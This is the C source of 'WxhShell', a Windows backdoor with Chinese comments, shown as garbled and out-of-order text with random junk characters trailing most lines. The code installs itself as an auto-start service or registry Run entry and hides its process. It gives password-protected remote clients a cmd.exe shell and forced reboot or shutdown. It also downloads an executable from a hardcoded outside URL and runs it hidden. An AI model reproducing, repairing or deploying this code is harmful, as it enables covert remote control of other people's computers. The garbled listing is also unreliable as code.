    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 6~ `bAe`}  
    if(Boot(SHUTDOWN)) &*aU2{,s,;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %b;+/s2W  
    else { EC'bgFe  
    closesocket(wsh); GJs[m~`8#  
    ExitThread(0); 29^bMau)v  
    } GuWBl$|+b  
    break; hhAC@EGG  
    } |vz;bJG  
  // 获取shell =bWq 3aP)P  
  case 's': { g{hA,-3  
    CmdShell(wsh); i(;-n_:, `  
    closesocket(wsh); I%919  
    ExitThread(0); `YNC_r#tG  
    break; v6?\65w,|  
  } [!? ,TGM}^  
  // 退出 ~^~RltY  
  case 'x': { [V, ;X  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); .oj"ru  
    CloseIt(wsh); y=xe<#L  
    break; ]wpYxos  
    } }#*zjMOz  
  // 离开 %@93^q[\2  
  case 'q': { y~c[sW   
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); h_G|.7!  
    closesocket(wsh); */dh_P<Yj  
    WSACleanup(); Q EGanpz  
    exit(1); +1jqCW  
    break; :YXQ9/iRr  
        } JS?l?~  
  } lkWeQ)V  
  } Pq\V($gN  
#'Y6UGJ\n  
  // 提示信息 [I<'E LX  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -sH.yAvC6  
} /\uH[[s  
  } B m@oB2x)  
pD_eo6xX  
  return; wQrPS  
} 2]RH)W86;  
I cA\3j  
// shell模块句柄 r]//Q6|S  
int CmdShell(SOCKET sock) nBIv{  
{ $CwTNm?  
STARTUPINFO si; d>b,aj(  
ZeroMemory(&si,sizeof(si)); +fCyR  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; k&_u\D"^"%  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; -kri3?Y,  
PROCESS_INFORMATION ProcessInfo; VmH_0IM^6  
char cmdline[]="cmd"; [(P[qEY  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ^@LhUs>3  
  return 0; V?V)&y] 4  
} JvWs/AG1  
{S"  
// 自身启动模式 2\CkX  
int StartFromService(void) q'AnI$!  
{ \ [^) WQ  
typedef struct ]V769B9  
{  z0Z\d  
  DWORD ExitStatus; t"bPKFRy9E  
  DWORD PebBaseAddress; b}*@=X=4o  
  DWORD AffinityMask; ))69a  
  DWORD BasePriority; ])ALAAIc-  
  ULONG UniqueProcessId; n.Eoi4jV'  
  ULONG InheritedFromUniqueProcessId; vb.Y8[  
}   PROCESS_BASIC_INFORMATION; CbH T #  
$h]Y<&('G  
PROCNTQSIP NtQueryInformationProcess; k5%0wHpk=  
MV;Y?%>  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; GKsL~;8"  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; qqt.nrQ^  
(zw=qbS&  
  HANDLE             hProcess; am'p^Z @  
  PROCESS_BASIC_INFORMATION pbi; PxVI {:Uz  
6=g]Y!o$  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); X6N]gD  
  if(NULL == hInst ) return 0; G_,t\  
Yr"!&\[oz  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); q{De&Bu  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); " ,aT<lw.  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); k.=S+#"}  
(|a$N.e&K  
  if (!NtQueryInformationProcess) return 0; x+*L5$;h  
^~r&}l4c,  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); qJFgbq4-  
  if(!hProcess) return 0; <GT>s  
[,o5QH\Etq  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; v1X&p\[d  
r@ T-Hi  
  CloseHandle(hProcess); &W)+8N,L  
[;IDTo!<>  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); hDD~,/yVxs  
if(hProcess==NULL) return 0; y5AXL5  
+%le/Pg@  
HMODULE hMod; %M;_(jda  
char procName[255]; rMXOwkE  
unsigned long cbNeeded; e2-70UvW^  
32bkouq  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); +.gf]|  
L%o65  
  CloseHandle(hProcess); B=Zukg1G  
Vr/` \441  
if(strstr(procName,"services")) return 1; // 以服务启动 we H@S  
yjOu]K:X  
  return 0; // 注册表启动 %];h|[ax]  
} {sna)v$;  
FQ_%)Ty2  
// 主模块 ?LV-W  
int StartWxhshell(LPSTR lpCmdLine) 7{K i;1B[w  
{ b5n]Gp  
  SOCKET wsl; VT5cxB<  
BOOL val=TRUE; *b6I%MZn  
  int port=0; _@BRpLs:4  
  struct sockaddr_in door; j2 o1"  
;Oi[:Ck  
  if(wscfg.ws_autoins) Install(); 6HEqm>Yau  
_Ra<|NVQh  
port=atoi(lpCmdLine); dK J@{d  
{XDY:`vZ}  
if(port<=0) port=wscfg.ws_port; 6=G~6Qu  
!sfXq"F  
  WSADATA data; .0Iun+nUD  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; jIx8k8  
$KwI}>E4  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   I+Ncmg )>  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); >op:0on]}  
  door.sin_family = AF_INET; F}6DB*  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); XSm"I[.g  
  door.sin_port = htons(port); S1 EEASr!}  
<fC@KY>#  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 2qs>Bshf  
closesocket(wsl); M('s|>\l  
return 1; ?Y? gzD  
}  (kWSK:l  
QQg8+{>  
  if(listen(wsl,2) == INVALID_SOCKET) { e-CNQnO~  
closesocket(wsl); nabBU4;h  
return 1; Ow cVPu_  
} &=F-moDD  
  Wxhshell(wsl); JmU<y  
  WSACleanup(); ?a'6EAErC  
<*s"e)XeqF  
return 0; ||-nmOy  
Jv_.itc  
} EJf#f  
@~m=5C  
// 以NT服务方式启动 N$\ bg|v  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ?S (im  
{ O1GDugZ  
DWORD   status = 0; ?M*7@t@  
  DWORD   specificError = 0xfffffff; q,[k7&HS  
C`\9c ej  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ,HFs.9#&B  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; uh]"(h(>  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Bk?8 zYp  
  serviceStatus.dwWin32ExitCode     = 0; T n"e   
  serviceStatus.dwServiceSpecificExitCode = 0; ,:D=gQ@`  
  serviceStatus.dwCheckPoint       = 0; a}:A,t<6  
  serviceStatus.dwWaitHint       = 0; si_W:mLF{a  
c |>=S)|  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); KcC!N{  
  if (hServiceStatusHandle==0) return; 2O eshkE  
_f cS>/<a  
status = GetLastError(); Fi mN?s  
  if (status!=NO_ERROR) >_XOc  
{ s}6+8fE"  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; >T<6fpXuk2  
    serviceStatus.dwCheckPoint       = 0; q[7CPE0n  
    serviceStatus.dwWaitHint       = 0; <f N; xIB  
    serviceStatus.dwWin32ExitCode     = status; JnfqXbE  
    serviceStatus.dwServiceSpecificExitCode = specificError; sLb8*fak  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); "`pNH'   
    return; S]}}A  
  } n.*3,4.]  
9B /s  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; {P-xCmZ~Wt  
  serviceStatus.dwCheckPoint       = 0; GL1'Zo  
  serviceStatus.dwWaitHint       = 0; JPEIT  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); P0^c?s"I  
} +a%xyD:.?  
3y99O $EAc  
// 处理NT服务事件,比如:启动、停止 ZWO)tVw9G  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ; e@gO  
{ ipobr7G.SD  
switch(fdwControl) i3#'*7f%j  
{ 8".2)W4*  
case SERVICE_CONTROL_STOP: LheFQ A  
  serviceStatus.dwWin32ExitCode = 0; $.pTB(tO  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; NmJ`?-Z  
  serviceStatus.dwCheckPoint   = 0; OTj,O77k  
  serviceStatus.dwWaitHint     = 0; jpRBER_X  
  { Gav"C{G  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Gqb])gXpl  
  } ]4`t\YaT  
  return; ;B~P>n}}_]  
case SERVICE_CONTROL_PAUSE: .u l 53 m  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ^i+[m  
  break; ]jyM@  
case SERVICE_CONTROL_CONTINUE: @Br {!#Wf  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; OO nX`  
  break; ^T:gb]i'Qa  
case SERVICE_CONTROL_INTERROGATE: l4rMk^>>  
  break; Oe51PEqn  
}; <:&de8bT  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); UUeB;'E+  
} Tzzq#z&F  
yhpz5[AuO  
// 标准应用程序主函数 iib  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) T>A{ qu  
{ qi(*ty  
iXFP5a>|  
// 获取操作系统版本 7\ypW$Ot  
OsIsNt=GetOsVer(); Gh}yb-$N`&  
GetModuleFileName(NULL,ExeFile,MAX_PATH); o:"anHs  
:P$#MC  
  // 从命令行安装 6.5wZN9<|  
  if(strpbrk(lpCmdLine,"iI")) Install(); =>|C~@C?  
g JjN<&,  
  // 下载执行文件 er2cQS7R  
if(wscfg.ws_downexe) { _OMpIdY,R*  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) N>|XS ,  
  WinExec(wscfg.ws_filenam,SW_HIDE); G,XPT,:%  
} d;7 uFh|o  
m} 3gZu]  
if(!OsIsNt) { s =Umj'1k  
// 如果时win9x,隐藏进程并且设置为注册表启动 ?<U{{ C  
HideProc(); KL [ek  
StartWxhshell(lpCmdLine); 5|I55CTx  
} G_ >G'2  
else FY'ty@|_s  
  if(StartFromService()) 2 rN ,D(  
  // 以服务方式启动 -oyO+1V  
  StartServiceCtrlDispatcher(DispatchTable); krB'9r<wa`  
else 3GH(wSv9\  
  // 普通方式启动 \K iwUz  
  StartWxhshell(lpCmdLine); + H_WlYg-  
+*}{`L- :  
return 0; x;LzG t:w  
} g5Z#xszj+  
n6MM5h/#r  
T6#CK  
w%y\dIeI'  
=========================================== C3'rtY.  
R@iUCT^$  
XL$* _c <)  
O(z}H}Fv  
cXnKCzSxZq  
-|S]oJy  
" HYK!}&  
]Mi.f3QlO6  
#include <stdio.h> h3* x[W  
#include <string.h> \4d.sy0&>-  
#include <windows.h> 0d^Z uTN  
#include <winsock2.h> _ oFs #kW  
#include <winsvc.h> p\p\q(S">  
#include <urlmon.h> l?8M p$M  
5J2=`=FK  
#pragma comment (lib, "Ws2_32.lib") 1ocJ+  
#pragma comment (lib, "urlmon.lib") +7V{ABfGl  
zYY$D.  
#define MAX_USER   100 // 最大客户端连接数 *sw7niw  
#define BUF_SOCK   200 // sock buffer O#a6+W"U  
#define KEY_BUFF   255 // 输入 buffer (X[CsaXt  
N K]B?  
#define REBOOT     0   // 重启 V 9wI\0  
#define SHUTDOWN   1   // 关机  m#vL*]c}  
w Y   
#define DEF_PORT   5000 // 监听端口 SqA J-_~  
A{eLl  
#define REG_LEN     16   // 注册表键长度 +rXF{@ l  
#define SVC_LEN     80   // NT服务名长度 E Y<8B3y  
sP@X g;]  
// 从dll定义API b5G}3)'w  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 6 K` c/)  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); `d]IX^;  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); cO2& VC  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ~PWSo%W8  
qa`-* 4m  
// wxhshell配置信息 wC_l@7 t  
struct WSCFG { g*UMG>  
  int ws_port;         // 监听端口 O,2~"~kF  
  char ws_passstr[REG_LEN]; // 口令 *l+OlQI0+  
  int ws_autoins;       // 安装标记, 1=yes 0=no N==ZtKj F  
  char ws_regname[REG_LEN]; // 注册表键名 tR0pH8?e"  
  char ws_svcname[REG_LEN]; // 服务名 h%; e0Xz|  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 J5p"7bc  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 $''?HjB}T  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 }9HmTr|  
int ws_downexe;       // 下载执行标记, 1=yes 0=no xT&(n/  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 2T@GA 1G  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 kd`0E-QU  
D_mL,w  
}; 7?8wyk|x  
{5r0v#;  
// default Wxhshell configuration >T2LEW  
struct WSCFG wscfg={DEF_PORT, aI(7nJ=R  
    "xuhuanlingzhe", NcOPL\  
    1, o%{'UG  
    "Wxhshell", Rlnbdb;!k  
    "Wxhshell", `1*nL,i  
            "WxhShell Service", W7"{r)7  
    "Wrsky Windows CmdShell Service", I:bD~F b3  
    "Please Input Your Password: ", vK7\JZ>  
  1, 0~wF3BgV  
  "http://www.wrsky.com/wxhshell.exe", 9SlNq05G7  
  "Wxhshell.exe" w=]Ks'C]  
    }; %W,D;?lEo>  
X"gCR n%tn  
// 消息定义模块 A[IL H_w  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; NjPDX>R\K  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 8dD2  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; W?yd#j  
char *msg_ws_ext="\n\rExit."; `RU[8@ 2%  
char *msg_ws_end="\n\rQuit."; T_b^ Tc`  
char *msg_ws_boot="\n\rReboot..."; WwH+E]^e+  
char *msg_ws_poff="\n\rShutdown..."; 9a\nszwa  
char *msg_ws_down="\n\rSave to "; Pq*s{  
Uz cx6sw  
char *msg_ws_err="\n\rErr!"; 2%*MW"Q  
char *msg_ws_ok="\n\rOK!"; ] Z8Vj7~  
E$9 Ys  
char ExeFile[MAX_PATH]; t?o ,RN:  
int nUser = 0; b|Q)[y]  
HANDLE handles[MAX_USER]; QB.J,o*XD4  
int OsIsNt; CQel3Jtt.  
g (VNy@  
SERVICE_STATUS       serviceStatus; 0;S,tJg  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; /@AEJ][$  
6sIL.S~c)  
// 函数声明 PB%-9C0  
int Install(void); L %ip>  
int Uninstall(void); ReiB $y6  
int DownloadFile(char *sURL, SOCKET wsh); 26X+ }^52  
int Boot(int flag); m)V/L]4  
void HideProc(void); f\'{3I29  
int GetOsVer(void); xq6cKtSv  
int Wxhshell(SOCKET wsl); N#lDW~e'  
void TalkWithClient(void *cs); 'r(1Nj  
int CmdShell(SOCKET sock); q-nSLE+_;  
int StartFromService(void); x^Yl*iq  
int StartWxhshell(LPSTR lpCmdLine); %Qg+R26U  
z <mK>$  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); KH\b_>wU2  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); vvUSeG\n#j  
DAo~8H  
// 数据结构和表定义 iAT)VQ&  
SERVICE_TABLE_ENTRY DispatchTable[] = 8Ll[ fJZA  
{ LIg{J%  
{wscfg.ws_svcname, NTServiceMain}, + OV')oE  
{NULL, NULL} R52I= a5,*  
}; zF5uN:-s  
Oj<S.fi  
// 自我安装 ["\;kJ.  
int Install(void) +,~z Wv1v  
{ 0]D0{6x8  
  char svExeFile[MAX_PATH]; 8|E'>+ D_-  
  HKEY key; JS}{%(B  
  strcpy(svExeFile,ExeFile); XLMb=T~S  
s1|/S\   
// 如果是win9x系统,修改注册表设为自启动 q+B&orp  
if(!OsIsNt) { !`!| Zw  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~Lc066bLeq  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Y+K|1r  
  RegCloseKey(key); Vh}SCUof'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { x0 d~i!d  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9qS"uj  
  RegCloseKey(key); uKgZ$-'  
  return 0; XZw6Xtn  
    } JdZ+Hp3.  
  } P0 `Mdk371  
} Y(.OF Q  
else { 6<K6Y5<6  
4v[~r1!V  
// 如果是NT以上系统,安装为系统服务 g$. \  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); [AV4m   
if (schSCManager!=0) eNiaM6(J  
{ jA#/Z  
  SC_HANDLE schService = CreateService [r/k% <  
  ( s;UH]  
  schSCManager, PRNoqi3sY  
  wscfg.ws_svcname, ~ %B<  
  wscfg.ws_svcdisp, v]B L[/4  
  SERVICE_ALL_ACCESS, ; S xFp  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , gm9mg*aM  
  SERVICE_AUTO_START, ^5r9 5  
  SERVICE_ERROR_NORMAL, sg E-`#  
  svExeFile, s+:=I e  
  NULL, fO#vF.k%  
  NULL, LJoGpr 8  
  NULL, e8'wG{3A  
  NULL, AIA6yeaU  
  NULL 7)h[Zy,A  
  ); ?f/n0U4w  
  if (schService!=0) fib}b? vk  
  { 3> /K0N|$  
  CloseServiceHandle(schService); 5q "ON)x  
  CloseServiceHandle(schSCManager); DWdW,xG  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); +l=r#JF  
  strcat(svExeFile,wscfg.ws_svcname); tH'2gl   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { XD"_Iq!  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); G%d (  
  RegCloseKey(key); ioPUUUb)  
  return 0; yoAfc  
    } |p$spQ  
  } ePIiF_X  
  CloseServiceHandle(schSCManager); _=|vgc  
} l7De6A"  
} Fd*8N8Pi  
M:5b4$Qh<  
return 1; .jMq  
} A<;SnXm  
%kgkXc~6|x  
// 自我卸载 J*9$;  
int Uninstall(void) bTQNb!&  
{ Ytgj|@jsp  
  HKEY key; aZbw]0q@o  
l3 DYg  
if(!OsIsNt) { 1#1 riM -  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { u+{a8=  
  RegDeleteValue(key,wscfg.ws_regname); NY?;erX  
  RegCloseKey(key); RoAlf+&Qb  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { O#Wh TDF"  
  RegDeleteValue(key,wscfg.ws_regname); i*CZV|t US  
  RegCloseKey(key); ?.Pg\ur  
  return 0; =/\:>+p^.y  
  } QNDHOo>v  
} Hr$QLtr  
} 'w1YFdW  
else { E@Ad'_H  
.KdyJ6o  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); } (!EuLL  
if (schSCManager!=0) }%D^8>S  
{ LY+|[qka  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); |*`Z*6n  
  if (schService!=0) 0?>dCu\  
  { c&L"N!4z  
  if(DeleteService(schService)!=0) { d:yqj:  
  CloseServiceHandle(schService); ~Ch+5A;  
  CloseServiceHandle(schSCManager); wb~@7,D  
  return 0; J:skJ.Wx  
  } I[n ^{8gz  
  CloseServiceHandle(schService); UT="2*3gz  
  } S]E.KLR?[;  
  CloseServiceHandle(schSCManager); I" KN"v^  
} +>4;Zd!@d  
} } CfqG?)  
IIyI=Wl pG  
return 1; &?h,7 D;A  
} b:w?PC~O  
Ag@;  
// 从指定url下载文件 ;`6^6p\p  
int DownloadFile(char *sURL, SOCKET wsh) |2KAo!PI  
{ 2YDM9`5xs\  
  HRESULT hr; zz& ?{vJ  
char seps[]= "/"; cYqfsd# B  
char *token; ~jsLqY*(+  
char *file; "9n3VX)  
char myURL[MAX_PATH]; $HJwb-I  
char myFILE[MAX_PATH]; R"K#7{p9  
GaSPJt   
strcpy(myURL,sURL); c*@G_rb  
  token=strtok(myURL,seps); QD%L0;j  
  while(token!=NULL) <^$<#K d  
  { NB<A>baL*  
    file=token; 2+X\}s1vN  
  token=strtok(NULL,seps); *E{2J:`  
  } \_B[{e7z  
%RDI!e<e}  
GetCurrentDirectory(MAX_PATH,myFILE); jRL<JZ1N  
strcat(myFILE, "\\"); 2,*M|+W~  
strcat(myFILE, file); 3$X'Y]5a  
  send(wsh,myFILE,strlen(myFILE),0); HbW0wuI  
send(wsh,"...",3,0); QcpXn4/*  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); l<);s  
  if(hr==S_OK) A,4fEmWM  
return 0; ){UcS/GI=  
else &-;5* lg)0  
return 1; ttu&@ =  
0'IBN}  
} 73){K?R  
v;)..X30  
// 系统电源模块 I(XOE$3  
int Boot(int flag) h*v8#\b$J_  
{ H *)NLp  
  HANDLE hToken; &%-73nYw  
  TOKEN_PRIVILEGES tkp; N ,z6y5Lu  
>vA2A1WhW  
  if(OsIsNt) { C 9t4#"  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); SCz318n  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); %Z1N;g0  
    tkp.PrivilegeCount = 1;  s~Te  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; bcYF\@};  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 6H7],aMg$A  
if(flag==REBOOT) { 4#l o$#  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 9 yfJVg  
  return 0; q|),`.eh\  
} ^f(@gS}?  
else { V 0rZz  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) }I>tO9M  
  return 0; LEtG|3Dx  
} 8e(\%bX  
  } L+q/){Dd(  
  else { >:b Q  
if(flag==REBOOT) { @/31IOIV]`  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ^- d%r  
  return 0; -(=eM3o-9m  
} 3p'I5,}  
else { ^N)R=tl  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) p}~qf  
  return 0; % oo2/aF  
} pJtex^{!:  
} %ALwz[~]  
1{JV}O  
return 1; O`<KwUx !  
} qXwPDq/  
&mx)~J^m  
// win9x进程隐藏模块 Dg?:/=,=9r  
void HideProc(void) v'3J.?N  
{ .yEBOMNZ  
7yh /BZ1  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); aSnF KB  
  if ( hKernel != NULL ) eYvWZJa4  
  { 55fC~J<  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); # }y2)g  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); BGX.U\uc  
    FreeLibrary(hKernel); sdo [D  
  } k1D@fiz  
3(,?S$>  
return; rQ qW_t%  
} U3dwI:cG  
K>@+m  
// 获取操作系统版本 AnX%[W "  
int GetOsVer(void) e\:+uVzz  
{ FFEfI4&SfS  
  OSVERSIONINFO winfo; W*I(f]8:y`  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Iepsz  
  GetVersionEx(&winfo); jJPGrkr  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ~o~!+`@q  
  return 1; pW J Fz-  
  else V: TM]  
  return 0; L bmawi^  
} JVSA&c%3  
ybKWOp:O  
// 客户端句柄模块 lE(a%'36  
int Wxhshell(SOCKET wsl) W~7A+=&  
{ LF& z  
  SOCKET wsh; @y\X R  
  struct sockaddr_in client; i=oU;7~zK  
  DWORD myID; 5l UF7:A>#  
%#xaA'? [  
  while(nUser<MAX_USER) 2$ze= /l  
{ wG-HF'0L  
  int nSize=sizeof(client); 85Otss/mM  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); y1+*6|  
  if(wsh==INVALID_SOCKET) return 1; z?*w8kU&>  
N@Uy=?)ZJ  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); LAS'u "c|  
if(handles[nUser]==0) wMg0>  
  closesocket(wsh); !`Hd-&}bYz  
else fy@<&U5rg  
  nUser++; %2{ %Obp'  
  } |#cm`v  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); =V-|#j  
TI,&!E?;  
  return 0; FwkuC09tI  
} HOJs[mqB%  
(Fhs"  
// 关闭 socket WGZ9B^A  
void CloseIt(SOCKET wsh)  jYmR  
{ n|RJ;d30Q  
closesocket(wsh); ORJIo  
nUser--; mQ|v26R  
ExitThread(0); !u[eaLxV  
} +b3RkkC  
1e{IC=  
// 客户端请求句柄 T^k7o^N>  
void TalkWithClient(void *cs) 9Hb6nm  
{ tne ST.  
L"1}V  
  SOCKET wsh=(SOCKET)cs; /)}q Xx&  
  char pwd[SVC_LEN]; p;3O#n-_  
  char cmd[KEY_BUFF]; %,@e^3B  
char chr[1]; zkuU5O  
int i,j; eo?;`7  
o.!~8mD  
  while (nUser < MAX_USER) { 7` zHX&-W  
?IqQ-C)6D  
if(wscfg.ws_passstr) { OuID%p"O  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ogHCt{'  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); fPR1f~r  
  //ZeroMemory(pwd,KEY_BUFF); 9CWF{"  
      i=0; zck#tht4 n  
  while(i<SVC_LEN) { CR"|^{G  
d\|?-hY`[  
  // 设置超时 JP!~,mdS  
  fd_set FdRead; 4gz H8sF  
  struct timeval TimeOut; K<SyC54  
  FD_ZERO(&FdRead); ( u\._Gwsx  
  FD_SET(wsh,&FdRead); %In A+5s`  
  TimeOut.tv_sec=8; c4^ks&)'  
  TimeOut.tv_usec=0; g"p%C:NN  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 4~Vx3gEV:  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); =JK@z  
%,}A@H ,  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8QLj["   
  pwd=chr[0]; pz\ +U7  
  if(chr[0]==0xd || chr[0]==0xa) { Bn#?zI  
  pwd=0; j7$e28|_n  
  break; !sQY&*  
  } ZojI R\F^  
  i++; ff,pvk8N5  
    } v1+3}5b'uF  
wsZF;8ut  
  // 如果是非法用户,关闭 socket \IV1j)I"u  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 0ghGBuv1s  
} `>f6) C-  
(:TjoXXiY  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); DEG[Z7Ju  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); M"p  
*`ua'"="k  
while(1) { n 22zq6m  
)_syZ1j  
  ZeroMemory(cmd,KEY_BUFF); ; >hNt  
Tc>   
      // 自动支持客户端 telnet标准   .w=/+TA  
  j=0; r ~jm`y  
  while(j<KEY_BUFF) { \E72L5nJW  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); AN8`7F1  
  cmd[j]=chr[0]; |:nOp(A\*  
  if(chr[0]==0xa || chr[0]==0xd) { m? J0i>H  
  cmd[j]=0; 4o <Uy  
  break; u~7hWiY<2  
  } H]{v;;'~  
  j++; (C-{B[Y  
    } r3&G)g=u  
|[<_GQl  
  // 下载文件 U@_dm/;0&  
  if(strstr(cmd,"http://")) { EUD~CZhS"k  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); , pDnRRJ!  
  if(DownloadFile(cmd,wsh)) 3G,Oba[$<  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); [YF>:ydk  
  else nBjqTud  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [R(`W#W  
  } X^}I-M%{m  
  else { OE_XCZ!5P  
S!jTyY7e  
    switch(cmd[0]) { /32Fy`KV  
  X@ +{5%  
